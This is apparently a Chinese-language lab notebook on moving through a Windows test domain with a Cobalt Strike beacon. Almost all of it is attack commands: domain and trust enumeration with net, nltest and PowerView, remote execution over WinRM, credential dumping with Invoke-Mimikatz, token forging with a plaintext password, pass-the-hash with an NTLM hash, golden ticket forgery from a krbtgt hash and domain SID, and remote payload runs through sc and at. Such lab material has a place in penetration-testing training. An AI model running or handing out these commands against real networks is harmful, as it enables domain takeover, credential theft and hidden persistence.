域内環境
系統 | ip 備注 | |
kali | 192.168.0.134 | teamserver |
server2008r2 | 10.10.10.4 | 域控 |
server2008r2 (database1) | 10.10.10.6 | 本次測試的重點 |
wind7 | 192.168.0.130 10.10.10.5 | victim 被控端 |
1.枚舉信任主機
1.1windows指令
指令 描述
net view /domain 查找目前域
net view/domain:[domain] 檢視目前域主機清單
net group "domain computers" /domain
nltest /dclist:[domain] 檢視域控
nslookup [name] 根據netblos檢視ip位址
ping -n 1 -4
nltest /domain_trusts 檢視域的信任關系
nltest /server:[address] /domain_trusts
1.2windows指令在beacon下使用
shell nltest/dclist:test1
64位在 c:\windows\sysnative
shell net view /domain:test1
shell net group "domain computers" /domain
1.3PowerView 子產品的使用
Invoke-Netview
Invoke-ShareFinder
Invoke-MapDomainTrusts
1.4Net 子產品在beacon的使用
列出域控
net dclist
net dclist [domain]
列出目标共享清單
net share \\[name]
列出目前域控的主機
net view
net view [domain]
2.判斷目前使用者位置
2.1判斷是否本地管理者
因為 普通域使用者 在做一些進階别操作的配置 需要域管理者的賬号和密碼。這是很不友善的。有的時候就會把普通的域使用者 把它增加目标主機的超級管理者組,那麼再做配置的時候就不需要域的超級管理者賬号和密碼。
shell dir \\目标機器名\C$
moonsec 域普通使用者是database1 本地超級管理者
powerview Invoke-FindLocalAdminAccess
2.2判斷是否域管理者
域管理者指令
shell net group "enterprise admins" /domain
shell net group "domain admins" /domain
shell net localgroup "administrators" /domain
net 在beacon使用
net group \\Target
net localgroup \\target 組名
powerview
Get-NetLocalGroup -HostName database1
3.winrm執行powershell
shell dir \\database1 \c$
shell dir /S /B \\database1\c$\users
powershell Invoke-Command -ComputerName database1 -ScriptBlock{ dir c:\}
powershell Invoke-Command -ComputerName database1 -ScriptBlock{ net localgroup administrators}
4.powersploit 運作MImikatz
powershell-import invoke-MImikatz.ps1
powershell Invoke-Mimikatz -ComputerName database1
主要的過程就是發現域内信任主機 檢視是否有預設共享 用域的普通使用者 驗證枚舉域内主機的是否為本地管理者 通過winrm執行 mimikatz.ps1
5.登入認證
5.1制作标記 (token)
用mimikatz收集到的密碼 用憑證制作一個标記 (令牌token電腦計算機的臨時身份)
終止标記 rev2self (恢複原來的令[token]或标記)
這裡示範的系統(system) 制作标記通路dc 域控
steal_token ID 域控的超級管理者程序id
make_token TEST1\Administrator qweQWE123.
make_token domain\user password
spawnas domain\user password
建立遠端連接配接
net use \\host\c$ /user:domain\user password
5.2散列認證
pth .\administrator ntlm
pth TEST1\Administrator c157deb33176c821c0e8733ebd851463
5.3kerberos憑證認證
Kerberos和密碼散列認證有些不一樣,但是兩者同樣都是使用憑據來産生标記
Kerberos票證是存儲存在一個叫kerberos托盤的地方
Kerberos原理是你們可以使用一個中間人 它叫 密匙配置設定發送伺服器 并且 密匙配置設定發送伺服器出憑據,你們可能現在使用那個憑據一次性與伺服器互相作用他會告訴伺服器,我很好 這是我憑據 驗證憑據這個中間人如果信任它會給我伺服器的憑據 這個憑據就可以讓我們保持互動 并且沒有任何帳号建立 如果你們擷取了一個憑據 那就內建它,然後你們就可以使用這個指定憑據來與伺服器進行互動了。一般情況下我使用憑據最好使用黃金憑據。
黃金憑據是域管理者自己生成的Kerberos憑據 來用mimikatz僞造一個黃金票證
有了黃金票據就有了通路域控權限krbtgt hash,通常用于後門。
你們需要四個不同的資訊。
使用者 、域名字、域id krbtgt 的hash
域的id擷取 shell whoami/user
test1\moonsec S-1-5-21-1917438135-3671264842-2025464858
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f767fce8c9c5f527dad0b2754d8bdadb:::
列舉黃金票據
shell klist
64位置
shell c:\windows\sysnative\klist
kerberos_ccache_use 從ccache檔案中導入票據應用于此會話
kerberos_ticket_purge 清除目前會話的票據
kerberos_ticket_use Apply 從ticket檔案中導入票據應用于此會話
5.4如何建立黃金票證
test1\moonsec S-1-5-21-1917438135-3671264842-2025464858-1115
6.代碼執行
6.1代碼執行的方法
execute Program1
shell sc \\host create name binpath= c:\windows\tem\file.exe
shell sc \\host start name
shell sc \\host delete name
execute Program2
shell net time \\host
shell at \\host HH:MM c:\path\to\bad.exe
竊取标記
steal_token 2760
驗證是否可以攻擊域控
shell dir \\dc\c$
6.1如何跟域控制伺服器互動
6.3beacon的自動操作
powershell-Import /PowerTools/PowerView/powerview.ps1
powershell Invoke-FindLocalAdminAccess
—————————————————————————————————————迷茫在人海之中,找不到路,東顧西顧,無所謂,隻管前行。